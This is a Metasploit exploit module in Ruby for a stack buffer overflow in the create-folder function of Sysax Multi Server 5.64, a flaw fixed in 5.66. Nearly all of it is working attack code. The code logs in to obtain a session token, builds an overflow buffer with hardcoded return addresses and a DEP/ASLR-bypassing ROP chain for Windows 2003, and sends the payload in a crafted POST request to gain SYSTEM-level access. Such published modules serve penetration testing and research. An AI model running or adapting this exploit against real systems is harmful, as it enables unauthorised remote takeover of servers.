Sysax Multi Server 5.64 Buffer Overflow

`require 'msf/core'  
require 'base64'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sysax Multi Server 5.64 Create Folder BoF',  
'Description' => %q{  
This module exploits a stack buffer overflow in the create folder function  
in Sysax Multi Server 5.64. This issue was fixed in 5.66.  
  
You must have valid credentials to trigger the vulnerability. Your credentials  
must also have the create folder permission and the HTTP option has to be enabled.  
This module will log into the server, get your a SID token and then proceed to exploit  
the server. Successful exploits result in LOCALSYSTEM access. This exploit works on  
XP SP3, and Server 2003 SP1-SP2.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Matt Andreko @mandreko', # discovery & Metasploit module for 5.64  
'Craig Freyman @cd1zz', # original discovery & Metasploit module for 5.50  
],  
'Version' => '$Revision:$',  
'References' =>  
[  
[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ], # 5.64 update  
[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ], # 5.50 post  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x2F",  
},  
  
'Targets' =>  
[  
[ 'Windows XP SP3',  
{  
'Rop' => false,  
'Ret' => 0x77c35459, # push esp # ret [sysaxd.exe]  
'Offset' => 701,  
}  
],  
[ 'Windows 2003 SP1-SP2 DEP & ASLR Bypass',  
{  
'Rop' => true,  
'Ret' => 0x77baf605, # pivot  
'Offset' => 701,  
'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate'=> 'July 29, 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI', [false, "URI for Multi Server", '/']),  
Opt::RPORT(80),  
OptString.new('SysaxUSER', [ true, "Username" ]),  
OptString.new('SysaxPASS', [ true, "Password" ])  
], self.class)  
  
end  
  
def target_url  
"http://#{rhost}:#{rport}#{datastore['URI']}"  
end  
  
def create_rop_chain()  
rop_gadgets = []  
# All rop gadgets generated by mona.py  
# Thanks corelanc0d3r for making such a great tool  
  
if (target == targets[1]) # Windows 2003  
rop_gadgets =  
[  
0x77be3adb, # POP EAX # RETN [msvcrt.dll]  
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]  
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]  
0x41414141, # Filler (compensate)  
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]  
0x77bdb896, # POP EBP # RETN [msvcrt.dll]  
0x77be2265, # & push esp # ret [msvcrt.dll]  
0x77bdeebf, # POP EAX # RETN [msvcrt.dll]  
0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)  
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]  
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]  
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)  
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]  
0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]  
0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]  
0x77befbb4, # &Writable location [msvcrt.dll]  
0x77bbf75e, # POP EDI # RETN [msvcrt.dll]  
0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]  
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]  
0x90909090, # nop  
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]  
].flatten.pack("V*")  
end  
  
return rop_gadgets  
  
end  
  
def exploit  
  
user = datastore['SysaxUSER']  
pass = datastore['SysaxPASS']  
  
#base64 encode the credentials  
encodedcreds = Base64.encode64(user+"\x0a"+pass)  
creds = "fd="+encodedcreds  
  
connect  
  
# Login to get SID value  
print_status "Getting SID from #{target_url}"  
res = send_request_raw({  
'method'=> 'POST',  
'uri' => "#{target_url}/scgi?sid=0&pid=dologin",  
'data' => creds  
},20)  
  
#parse response for SID token  
sid = res.body.match (/(sid=[A-Z0-9a-z]{40})/)  
print_status "Your " + sid.to_s  
  
buffer = rand_text(target['Offset'])  
buffer << [target.ret].pack('V')  
  
if (target['Rop'])  
buffer << [target['Nop']].pack('V')*16  
buffer << create_rop_chain()  
end  
  
buffer << make_nops(15)  
buffer << payload.encoded #max 1299 bytes  
  
#pwnag3 post data  
post_data = "scgi?"+sid.to_s+"&pid=mk_folder2_name1.htm HTTP/1.1\r\n"  
post_data << "Content-Length: 171\r\n\r\n"  
post_data << "-----------------------------1190753071675116720811342231\r\n"  
post_data << "Content-Disposition: form-data; name=\"e2\"\r\n\r\n"  
post_data << buffer+"\r\n"  
post_data << "-----------------------------1190753071675116720811342231--\r\n\r\n"  
  
referer = "http://"+datastore['RHOST'].to_s+"/scgi?"+sid.to_s+"&pid=mk_folder1_name1.htm"  
  
send_request_raw({  
'uri' => "/" + post_data,  
'version' => '1.1',  
'method' => 'POST',  
'referer' => referer  
})  
  
handler  
disconnect  
  
end  
end  
  
  
  
`